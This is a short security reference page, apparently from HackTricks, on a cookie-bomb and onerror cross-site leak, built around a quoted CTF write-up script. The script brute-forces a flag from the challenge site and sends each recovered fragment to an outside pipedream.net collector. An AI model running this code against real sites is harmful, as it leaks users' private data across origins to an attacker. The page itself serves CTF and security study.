# Cookie Bomb + Onerror XS Leak

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The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) is exploiting a functionality that allows the user to **insert any amount of cookies**, and then loading a file as a script knowing that the true response will be larger than the false one and then. If successful, the response is a redirect with a resulting URL longer, **too large to handle by the server so return an error http status code**. If the search fails, nothing will happen because URL is short.

```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
    const $ = document.querySelector.bind(document);
    const sleep = (ms) => new Promise(r => setTimeout(r, ms));
    let i = 0;
    const stuff = async (len=3500) => {
        let name = Math.random();
        $("form").target = name;
        let w = window.open('', name);
        $("#f").value = "_".repeat(len);
        $("#f").name = i++;
        $("form").submit();
        await sleep(100);
    };
    const isError = async (url) => {
        return new Promise(r => {
            let script = document.createElement('script');
            script.src = url;
            script.onload = () => r(false);
            script.onerror = () => r(true);
            document.head.appendChild(script);
        });
    }
    const search = (query) => {
        return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
    };
    const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
    const url = "//en4u1nbmyeahu.x.pipedream.net/";
    let known = "actf{";
    window.onload = async () => {
        navigator.sendBeacon(url + "?load");
        await Promise.all([stuff(), stuff(), stuff(), stuff()]);
        await stuff(1600);
        navigator.sendBeacon(url + "?go");
        while (true) {
            for (let c of alphabet) {
                let query = known + c;
                if (await search(query)) {
                    navigator.sendBeacon(url, query);
                    known += c;
                    break;
                }
            }
        }
    };
</script>
```







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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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